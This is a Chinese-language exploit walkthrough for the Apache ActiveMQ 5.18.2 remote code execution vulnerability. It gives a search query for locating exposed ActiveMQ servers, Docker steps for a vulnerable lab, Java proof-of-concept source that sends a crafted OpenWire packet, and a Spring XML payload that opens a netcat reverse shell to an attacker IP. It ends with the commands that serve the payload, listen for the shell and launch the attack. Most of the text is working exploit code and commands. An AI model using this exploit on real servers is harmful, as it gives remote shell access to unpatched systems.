ActiveMQ 远程命令执行漏洞 EXP

app="APACHE-ActiveMQ" && title=="Apache ActiveMQ"

vim Dockerfile

# 使用官方的CentOS 7基础镜像FROM centos:7
# 安装OpenJDK 11RUN yum install -y java-11-openjdk
# 设置JAVA_HOME环境变量ENV JAVA_HOME /usr/lib/jvm/java-11-openjdk
# 安装wget和tar，以便下载和解压MavenRUN yum install -y wget tar nc

docker build -t centos7-jdk11-maven325 .

docker run -itd --name activemq5182 -p 8161:8161 -p 61616:61616 centos7-jdk11-maven325

docker exec -it activemq5182 /bin/bash

wget https://archive.apache.org/dist/activemq/5.18.2/apache-activemq-5.18.2-bin.tar.gz

tar -zxvf apache-activemq-5.18.2-bin.tar.gz

cd apache-activemq-5.18.2# 编辑jett.xml文件vi conf/jetty.xml# 找到jettyPort的bean标签，host改为 0.0.0.0，否则只能本地访问
bin/activemq start

http://192.168.86.128:8161/默认用户名/密码：admin/admin

https://github.com/Fw-fW-fw/activemq_Throwable

    public static void main(String[] args) throws IOException {        if (args.length < 2) {            System.err.println("Usage: java activemq_poc.jar <ip> <port> <urlfile_xmlpoc>");            System.exit(1);        }
        String ip = args[0];        int port = Integer.parseInt(args[1]);        Socket sck = new Socket(ip, port);        DataOutputStream out = null;        DataInputStream in = null;        out = new DataOutputStream(new BufferedOutputStream(new FileOutputStream("test.txt")));        out.writeInt(32);        out.writeByte(31);        out.writeInt(1);        out.writeBoolean(true);        out.writeInt(1);        out.writeBoolean(true);        out.writeBoolean(true);        out.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");        out.writeBoolean(true);        out.writeUTF(args[2]);        out.close();        in = new DataInputStream(new BufferedInputStream(new FileInputStream("test.txt")));        OutputStream os = sck.getOutputStream();        int length = in.available();        byte[] buf = new byte[length];        in.readFully(buf);        os.write(buf);        in.close();        sck.close();    }

<?xml version="1.0" encoding="utf-8"?><beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">  <bean id="runtime" class="java.lang.Runtime" factory-method="getRuntime" />  <bean id="process" factory-bean="runtime" factory-method="exec">    <constructor-arg value="nc -e /bin/sh 192.168.86.129 4444" />  </bean></beans>

python -m http.server 8000

nc -lvnp 4444

java -jar activemq_poc.jar 192.168.86.128 61616 http://192.168.86.129:8000/poc.xml